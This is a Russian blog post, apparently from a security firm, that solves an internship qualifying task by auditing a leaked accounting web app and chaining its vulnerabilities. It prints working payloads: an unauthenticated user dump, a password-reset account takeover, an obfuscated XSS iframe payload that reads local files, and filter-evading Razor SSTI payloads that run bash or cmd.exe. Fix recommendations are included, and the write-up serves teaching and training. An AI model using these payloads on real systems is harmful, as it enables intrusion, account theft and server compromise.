Summ3r Of h4ck 2026: разбор заданий отборочного этапа

от автора

C 13 апреля по 10 мая был открыт приём заявок на стажировку Summ3r 0f h4ck 2026.

В этом году на обучающую программу в DSEC by Solar пытались попасть 225 человек – это в несколько раз больше, чем в предыдущие годы!
В качестве испытаний в отборочном этапе нужно было решить 10 задач по практической информационной безопасности и пройти интервью.

Спасибо всем, кто не только пользовался последними достижениями в области AI, но и активно работал над заданиями сам. Мы это очень ценим!

Комментарий от технической команды Summ3r 0f h4ck 2026:

В этом году мы подобрали задания с упором на поиск уязвимостей в веб приложениях, аудиту корпоративной инфраструктуры и поиск уязвимостей в мобильном приложении. В одном из заданий кандидаты расследовали инцидент по логам HTTP-трафика: необходимо было понять, как приложение было взломано, и что смог получить атакующий. Для решения заданий не хватит вузовской программы — нужно активно интересоваться практической ИБ, решать задачи с CTF или лабы по типу Hack The Box.

На стажировку к нам попали 5 участников. Возможно, уже в скором времени они присоединятся к нашей команде. 

Мы покажем вам решение одного из тестовых заданий. Остальные решения вы можете найти в блоге на нашем сайте. Надеемся, что материал будет полезен, и поможет попасть на нашу стажировку в следующем году!

👇👇👇

Задание:

Вы анализируете файлы из утечки исходного кода веб-приложения электронной бухгалтерии. Необходимо исследовать представленный код, выявить возможные уязвимости и составить из них цепочку.

Для каждой обнаруженной проблемы требуется привести:

  • конкретное описание уязвимости;

  • максимальный реальный риск;

  • шаги по эксплуатации, полезная нагрузка для реализации этого риска и пояснения к ней;

  • рекомендации по устранению, необходимые замены в коде и комментарии, каким образом они обеспечат защиту.

Ссылка на скачивание файлов: https://github.com/testdsec/SOH2026/tree/main/task_4

Ответ:

1. Нарушение контроля доступа при получении информации о пользователях

Описание

В приложении реализован доступ к информации о пользователях по прямой ссылке с использованием уникальных идентификаторов, при этом некорректно реализована проверка доступа пользователя к информации о другом пользователе,

Риск

Злоумышленник может получить данные обо всех пользователях приложения, включая их идентификаторы и электронные почты. Уязвимость может быть использована для осуществления дальнейших атак на приложение. Аутентификация в приложении для эксплуатации уязвимости не требуется.

Шаги по эксплуатации

В приложении существует функциональность получения информации о пользователях по их идентификатору userId с помощью GET-запроса /api/user?userId={userid}. Обработчик запроса реализован в файле UserController.cs:

        int? currentUserId = _currentUserService.GetCurrentUserId(HttpContext) is int id ? id : null;        if (!Request.Query.ContainsKey("userId"))        {            return BadRequest(new { error = "Missing required parameter: userId" });        }        string whereClause = string.Empty;        if (!string.IsNullOrWhiteSpace(userId))        {            ...            if (currentUserId == null || requestedUserId != currentUserId.Value)            {                return Forbid();            }               whereClause = $"WHERE u.Id = {userId}";        }        string sql = $@"SELECT u.Id, u.Email, u.PasswordHash, u.ResetTokenFROM Users u {whereClause};";

Запрос требует наличие обязательного GET-параметра userId, но при указании данного параметра с пустым значением возможен обход проверки доступа пользователя, от которого выполняется запрос, к пользователю, указанному в параметре userId. Выражение whereClause не формируется и запрос возвращает информацию обо всех пользователях, включающую их идентификаторы и электронные почты. За счет того, что сессия пользователя проверяется в случае, если переданный параметр userId не пуст, то эксплуатация уязвимости доступна неаутентифицированному пользователю.

Пример запроса для получения информации обо всех пользователях приложения:

GET /api/user?userId=Host: <host>

Рекомендации по устранению

  • Запретить выполнять запрос с пустым userId.

  • Корректно проверять сессию пользователя, например с помощью атрибута [Authorize(Roles = "user")].

2. Захват аккаунта с помощью некорректной реализации механизма сброса пароля

Описание

В приложении некорректно реализован механизм сброса пароля, что позволяет сменить (сбросить) пароль для зарегистрированного пользователя по его электронной почте.

Риск

Злоумышленник может получить полный доступ к аккаунту пользователя, зная его электронную почту.
Электронные почты пользователей могут быть получены с помощью уязвимости из п. 1.

Шаги по эксплуатации

В приложении существует механизм сброса пароля, реализованный с помощью POST-запроса /api/user/password/request (генерация токена для сброса пароля и отправка его на электронную почту) и POST-запроса /api/user/password/reset (сброс пароля по токену и почте). При выполнении запроса на сброс пароля необходимо указать в теле запроса параметры Token и Email.
В коде UserConroller.cs отсутствует проверка, относится ли токен сброса к указанной в запросе почте. Пароль меняется для пользователя, чья почта указана в запросе:

    [HttpPost("password/reset")]    public IActionResult Reset([FromBody] ResetPasswordModel req)    {        var resetToken = _db.Users.FirstOrDefault(x => x.ResetToken == req.Token);        if (resetToken == null)            return BadRequest("Invalid token");        var account = _db.Users.FirstOrDefault(x => x.Email == req.Email);        if (account == null)            return BadRequest("User not found");        ...        account.PasswordHash = $"{Convert.ToBase64String(salt)}:{Convert.ToBase64String(hash)}";        ...        _db.SaveChanges();        ...

Таким образом, для захвата аккаунта пользователя необходимо сначала отправить POST-запрос /api/user/password/request c контролируемым email в параметра Email, а затем перейти по ссылке из письма и в POST-запросе с параметрами Token и Email подменить электронную почту на почту жертвы. Тогда для данного аккаунта будет установлен пароль, указанный в параметре NewPassword. Электронные почты жертв могут быть получены с помощью уязвимости из п. 1.

Рекомендации по устранению

Проверять, что электронная почта в запросе на сброс пароля совпадает с почтой, для которой был ранее сгенерирован токен сброса.

3. Local File Read в функциональности генерации PDF-отчетов

Описание

Функциональность генерации PDF позволяет передавать произвольный HTML со стороны клиента, который затем рендерится сервером в браузере headless Chromium через PuppeteerSharp. HTML проходит через самописную санитизацию на основе регулярных выражений.

Данная санитизация некорректная и ее возможно обойти. В результате злоумышленник может выполнить JavaScript в контексте отображаемой страницы, динамически создать iframe с источником file:///... и добиться включения содержимого локального файла сервера в итоговый PDF.

Риск

Злоумышленник может прочитать локальные файлы на сервере, доступные процессу приложения. Это может привести к раскрытию конфиденциальных данных, включая системные файлы, конфигурацию приложения, секреты, ключи, токены.
Запрос требует аутентификации пользователя с ролью user. Открытая регистрация в приложении отсутствует, запрос может быть выполнен от имени пользователя, аккаунт которого захвачен с помощью уязвимости из п. 2.

Шаги по эксплуатации

Функциональность генерации PDF-отчетов реализована в PdfGeneratorController.cs и доступна c помощью метода POST /PdfGenerator.

Эндпоинт принимает HTML-код из тела запроса:

using var reader = new StreamReader(Request.Body);var html = await reader.ReadToEndAsync();html = SanitizeHtml(html);

После этого HTML сохраняется во временный файл и открывается браузером как локальная страница:

await System.IO.File.WriteAllTextAsync(tempHtmlPath, html);var fileUrl = new Uri(tempHtmlPath).AbsoluteUri;await page.GoToAsync(fileUrl, new NavigationOptions{    WaitUntil = new[] { WaitUntilNavigation.Load }});

Браузер при этом запускается с флагом --allow-file-access-from-files, что позволяет странице загружать другие локальные ресурсы. Перед генерацией pdf происходит 2ух секундная пауза, в это время JavaScript на странице может отработать, после чего страница сохраняется в формате pdf:

await page.PdfAsync(tempPdfPath, new PdfOptions{    PrintBackground = true});

Из-за некорректно реализованной самописной санитизации и отсутствия обработчика события onerror в файле events.lst становится возможным исполение JavaScript-кода в контексте страницы.

Пример PoC для эксплуатации:

<!DOCTYPE html><html><body>   <img src="x" onerror="eval(atob('dmFyIGlmcmFtZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lmcmFtZScpOwppZnJhbWUuc3JjID0gJ2ZpbGU6Ly8vZXRjL3Bhc3N3ZCc7CmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZyYW1lKTs='))"></body></html>

В base64 закодирован JavaScript-скрипт, который добавляет iframe-элемент, отображающий локальный файл:

var iframe = document.createElement('iframe');iframe.src = 'file:///etc/passwd';document.body.appendChild(iframe);

Для отправки запроса можно воспользоваться Burp Suite или curl:

curl -X POST https://:target-ip:/PdfGenerator -H "Content-Type: text/plain" --data-binary @exploit.html --output result.pdf

Рекомендации по устранению

  • Не рендерить пользовательский ввод как самостоятельный локальный HTML-документ. Формировать PDF из заранее определенного шаблона с помощью шаблонизатора, а пользовательские данные подставлять как текстовые значения в модель.

  • Следует использовать полноценную библиотеку для санитизации HTML с белыми списками тегов и атрибутов.

  • Убрать флаг --allow-file-access-from-files.

4. Server-Side Template Injection (SSTI) в функциональности отправки расчетного листа

Описание

Функциональность отправки расчетного листа сотруднику по электронной почте позволяет передавать пользовательский комментарий, который добавляется в шаблон письма. Данный шаблон обрабатывается серверным шаблонизатором RazorLight.
Санитизация пользовательского комментария некорректная и ее возможно обойти, что позволяет злоумышленнику внедрить в комментарий специальные конструкции шаблонизатора, которые будут выполнены на стороне сервера.

Риск

Злоумышленник может добиться выполнения серверного кода в процессе генерации письма. Это может привести к раскрытию конфиденциальных данных приложения, обходу логики приложения или выполнению произвольных действий на сервере.
Запрос требует параметр AdminApiKey. Значение токена может быть получено с помощью уязвимости LFR из п. 3. Путь, по которому лежит секрет указан в EmailController.cs:12.

Шаги по эксплуатации

Функциональность отправки расчетного листа реализована в EmailController.cs с помощью метода
POST /api/email/payslip.
При формировании письма используется следующий шаблон:

string template =@"Hello, @Model.Name!Your salary in @Model.Month is @Model.Salary!";

Если в запросе передан параметр Comment, он напрямую добавляется к шаблону:

if (!string.IsNullOrWhiteSpace(req.Comment)){    template += "n" + req.Comment;}

После этого получившийся шаблон компилируется методом: engine.CompileRenderStringAsync(key, template, model);
Это означает, что содержимое Comment обрабатывается как часть Razor-шаблона.

Обход санитизации

В TemplateService.cs реализована фильтрация шаблона:

if (normalized.Contains("@{") || normalized.Contains("@()"))    throw new Exception("Code blocks are not allowed");

и блокировка ряда ключевых слов:

systemprocessdiagnosticsreflectionfiledirectorytypeofactivator

Однако данная защита не предотвращает выполнение Razor-выражений вида: @(...), которые продолжают интерпретироваться шаблонизатором.

POC для эксплуатации: https://efigo.pl/en/blog/cve-2024-9150/
С учетом фильтра его необходимо модифицировать. В случае, если система на Linux, то достаточно использовать конкатенацию для обхода блокировки ключевых слов:

"a".GetType().Assembly.GetType("Sys"+"tem.Refle"+"ction.Assembly").GetMethod("LoadFi"+"le").Invoke(null, "/usr/share/dotnet/shared/Microsoft.NETCore.App/6.0.32/Syst"+"em.Diag"+"nostics.Proc"+"ess.dll".Split("?")).GetType("Syst"+"em.Diagn"+"ostics.Pro"+"cess").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""touch /tmp/rce-$(whoami)""".Split(","))

Но придется подобрать корректную версию NETCore в пути.
Для Windows GetValue(0) не будет работать, так как целевая функция System.Diagnostics.Process.Start будет находиться под другим индексом, поэтому его тоже придется подобрать.
Пример POC под Windows:

  "comment": "@(((dynamic)("a".GetType().Assembly.GetType("Sy"+"stem.Refl"+"ection.Assembly").GetMethod("LoadFi"+"le").Invoke(null, new object[] { "C:/Program Fi"+"les/dotnet/shared/Microsoft.NETCore.App/10.0.5/Sy"+"stem.Diag"+"nostics.Pr"+"ocess.dll" }))).GetType("Sy"+"stem.Diag"+"nostics.Pro"+"cess").GetMethods().GetValue(70).Invoke(null, new object[] { "cmd.exe", "/c whoami" }))"

Рекомендации по устранению

  • Не включать пользовательский ввод в шаблон. Комментарий должен передаваться через модель, а не добавляться в текст шаблона.Пример:

    var model = new PayslipModel{    Name = user.Email,    Salary = user.Salary,    Month = DateTime.UtcNow.ToString("MMMM"),    Comment = req.Comment};

    Шаблон:

    string template =@"Hello, @Model.Name!Your salary in @Model.Month is @Model.Salary!@Model.Comment";

5. Возможность перебора учетных записей в функциональности сброса пароля

Описание

При выполнении POST-запроса /api/user/password/reset, который генерирует ссылку для сброса пароля, ответ сервера меняется в зависимости от того, зарегистрирован ли такой адрес электронной почты в организации или нет. Ниже приведена уязвимая функция RequestReset:

    [HttpPost("password/request")]    public async Task<IActionResult> RequestReset([FromBody] PasswordResetRequest req)    {        var user = _db.Users            .FromSqlRaw("SELECT * FROM Users WHERE Email = {0}", req.Email)            .AsNoTracking()            .FirstOrDefault();        if (user == null)            return Ok(new { message = "Requested user does not exist!" });        ...        return Ok(new { message = "Reset email has been sent." });    }

Риск

Злоумышленник может перебрать пароли пользователей

Рекомендации по устранению:

Отказаться от вывода информации о существовании учетной записи при сбросе пароля пользователя.

6. Слабая парольная политика

Описание

В функции сброса пароля Reset (UserController.cs:85), которой соответствует POST-запрос /api/user/password/reset отсутствуют требования к новым паролям. Пользователь имеет возможность установить пароль для учетной записи длиной в 1 символ или пустой пароль.

Риск

Злоумышленник может перебрать пароли пользователей

Рекомендации по устранению

Использовать проверку на сложность пароля на стороне сервера.

Цепочка эксплуатации

С помощью комбинации уязвимостей из пп. 1-4 возможен захват аккаунтов пользователей (уязвимости 1 и 2), а также удаленное выполнение произвольного кода на сервере (уязвимости 3-4). За описание сценария могут быть начислены дополнительные баллы.

Последовательность действий:

  • Перечисление информации обо всех пользователях приложения с помощью баги 1, получение электронных почт пользователей. Эксплуатация не требует аутентификации.

  • Захват аккаунта произвольного пользователя с ролью User с помощью баги 2 через сброс пароля. Почта целевого пользователя может быть получена на предыдущем шаге.

  • Получение секрета AdminApiKey с помощью LFR. Искомый путь указан в EmailController.cs:12. Для эксплуатации требуется аккаунт пользователя с ролью user.

  • RCE через SSTI. Для запроса требуется AdminApiKey, который получен на предыдущем шаге.

Больше решений тестовых заданий на нашем сайте.

ссылка на оригинал статьи https://habr.com/ru/articles/1065452/